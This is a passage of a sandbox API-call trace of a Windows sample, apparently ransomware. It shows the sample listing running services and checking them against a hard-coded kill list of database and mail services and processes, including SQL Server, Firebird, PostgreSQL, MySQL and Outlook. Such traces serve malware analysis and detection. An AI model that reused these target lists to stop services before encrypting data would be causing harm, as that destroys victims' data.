dwFlags=0x0, lpMem=0x6d5fd0 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71c448 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d4f30 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71c418 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71cfc0 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71c478 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a60a8 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a5230 | out: hHeap=0x690000) returned 1 [0037.188] lstrlenW (lpString="%systemdrive%") returned 13 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ceae8 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d4af0 | out: hHeap=0x690000) returned 1 [0037.188] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x71d080 | out: hHeap=0x690000) returned 1 [0037.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6faf58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0037.189] WaitForMultipleObjects (nCount=0x2, lpHandles=0x6ac038*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x4c8 Thread: id = 4 os_tid = 0xc04 [0037.192] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x71c490 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c490, Size=0x20) returned 0x6cebd8 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6cebd8, Size=0x40) returned 0x6aa108 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa108, Size=0x80) returned 0x6d4d10 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d4d10, Size=0x100) returned 0x6d61e0 [0037.192] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x71c418 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c418, Size=0x20) returned 0x6cea70 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6cea70, Size=0x40) returned 0x6aa468 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa468, Size=0x80) returned 0x6d4b78 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d4b78, Size=0x100) returned 0x6d62e8 [0037.192] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c460 [0037.192] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x71d040 [0037.192] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x71c4a8 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d040, Size=0x8) returned 0x71d060 [0037.192] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x14) returned 0x6a5210 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d060, Size=0x10) returned 0x71c418 [0037.192] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x18) returned 0x6a5310 [0037.192] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1a) returned 0x6ce8b8 [0037.192] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c418, Size=0x20) returned 0x6ceb60 [0037.192] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c) returned 0x6ce8e0 [0037.193] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x16) returned 0x6a54d0 [0037.193] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1a) returned 0x6ceae8 [0037.193] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71c2f8 [0037.193] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x71d080 [0037.193] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40) returned 0x6aa228 [0037.193] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71d080, Size=0x8) returned 0x71cfd0 [0037.193] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x3c) returned 0x6aa618 [0037.193] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71cfd0, Size=0x10) returned 0x71c328 [0037.193] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x14) returned 0x6a5330 [0037.193] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x18) returned 0x6a5430 [0037.193] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c328, Size=0x20) returned 0x6cea70 [0037.193] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x24) returned 0x6a6318 [0037.193] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0037.193] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d61e0 | out: hHeap=0x690000) returned 1 [0037.193] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0037.193] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d62e8 | out: hHeap=0x690000) returned 1 [0037.193] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ce7f0 [0037.193] EnumServicesStatusExW (in: hSCManager=0x6ce7f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0037.194] GetLastError () returned 0xea [0037.194] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c30) returned 0x6ed420 [0037.194] EnumServicesStatusExW (in: hSCManager=0x6ce7f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6ed420, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6ed420, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0037.194] CloseServiceHandle (hSCObject=0x6ce7f0) returned 1 [0037.195] lstrlenW (lpString="Appinfo") returned 7 [0037.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0037.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0037.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0037.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0037.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0037.195] lstrlenW (lpString="AppXSvc") returned 7 [0037.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0037.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0037.195] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0037.195] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0037.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0037.195] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0037.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.195] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0037.195] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0037.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0037.195] lstrlenW (lpString="Audiosrv") returned 8 [0037.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0037.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0037.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0037.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0037.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0037.195] lstrlenW (lpString="BFE") returned 3 [0037.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0037.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0037.195] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0037.195] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0037.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0037.195] lstrlenW (lpString="BITS") returned 4 [0037.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0037.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0037.195] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0037.196] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0037.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0037.196] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0037.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0037.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0037.196] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0037.196] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0037.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0037.196] lstrlenW (lpString="CDPSvc") returned 6 [0037.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0037.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0037.196] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0037.196] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0037.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0037.196] lstrlenW (lpString="ClickToRunSvc") returned 13 [0037.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0037.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0037.196] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0037.196] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0037.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0037.196] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0037.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0037.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0037.196] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0037.196] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0037.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0037.196] lstrlenW (lpString="CryptSvc") returned 8 [0037.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0037.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0037.196] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0037.196] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0037.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0037.196] lstrlenW (lpString="DcomLaunch") returned 10 [0037.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.196] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0037.197] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0037.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0037.197] lstrlenW (lpString="DeviceAssociationService") returned 24 [0037.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0037.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0037.197] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0037.197] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0037.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0037.197] lstrlenW (lpString="Dhcp") returned 4 [0037.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0037.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0037.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0037.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0037.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0037.197] lstrlenW (lpString="Dnscache") returned 8 [0037.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0037.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0037.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0037.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0037.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0037.197] lstrlenW (lpString="DPS") returned 3 [0037.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0037.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0037.197] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0037.197] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0037.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0037.197] lstrlenW (lpString="DusmSvc") returned 7 [0037.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0037.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0037.197] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0037.197] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0037.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0037.197] lstrlenW (lpString="EventLog") returned 8 [0037.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0037.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0037.197] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0037.197] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0037.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0037.198] lstrlenW (lpString="EventSystem") returned 11 [0037.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0037.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0037.198] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0037.198] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0037.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0037.198] lstrlenW (lpString="FontCache") returned 9 [0037.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0037.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0037.198] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0037.198] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0037.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0037.198] lstrlenW (lpString="gpsvc") returned 5 [0037.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0037.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0037.198] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0037.198] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0037.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0037.198] lstrlenW (lpString="iphlpsvc") returned 8 [0037.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.198] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0037.198] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0037.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0037.198] lstrlenW (lpString="KeyIso") returned 6 [0037.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0037.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0037.198] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0037.198] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0037.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0037.198] lstrlenW (lpString="LanmanServer") returned 12 [0037.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0037.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0037.198] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0037.199] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0037.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0037.199] lstrlenW (lpString="LanmanWorkstation") returned 17 [0037.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.199] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0037.199] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0037.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0037.199] lstrlenW (lpString="lfsvc") returned 5 [0037.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0037.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0037.199] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0037.199] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0037.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0037.199] lstrlenW (lpString="lmhosts") returned 7 [0037.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0037.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0037.199] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0037.199] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0037.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0037.199] lstrlenW (lpString="LSM") returned 3 [0037.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0037.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0037.199] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0037.199] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0037.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0037.199] lstrlenW (lpString="MpsSvc") returned 6 [0037.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0037.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0037.199] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0037.199] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0037.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0037.199] lstrlenW (lpString="NcbService") returned 10 [0037.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0037.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0037.200] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0037.200] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0037.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0037.200] lstrlenW (lpString="netprofm") returned 8 [0037.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0037.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0037.200] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0037.200] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0037.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0037.200] lstrlenW (lpString="NgcSvc") returned 6 [0037.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0037.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0037.200] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0037.200] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0037.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0037.200] lstrlenW (lpString="NlaSvc") returned 6 [0037.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0037.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0037.200] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0037.200] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0037.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0037.200] lstrlenW (lpString="nsi") returned 3 [0037.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0037.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0037.200] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0037.200] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0037.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0037.200] lstrlenW (lpString="PcaSvc") returned 6 [0037.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0037.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0037.200] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0037.200] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0037.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0037.200] lstrlenW (lpString="PlugPlay") returned 8 [0037.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0037.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0037.201] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0037.201] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0037.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0037.201] lstrlenW (lpString="Power") returned 5 [0037.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0037.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0037.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0037.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0037.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0037.201] lstrlenW (lpString="ProfSvc") returned 7 [0037.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0037.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0037.201] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0037.201] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0037.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0037.201] lstrlenW (lpString="RpcEptMapper") returned 12 [0037.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.201] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0037.201] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0037.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0037.201] lstrlenW (lpString="RpcSs") returned 5 [0037.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0037.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0037.201] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0037.201] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0037.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0037.201] lstrlenW (lpString="SamSs") returned 5 [0037.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0037.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0037.201] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0037.201] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0037.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0037.201] lstrlenW (lpString="Schedule") returned 8 [0037.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0037.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0037.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0037.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0037.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0037.202] lstrlenW 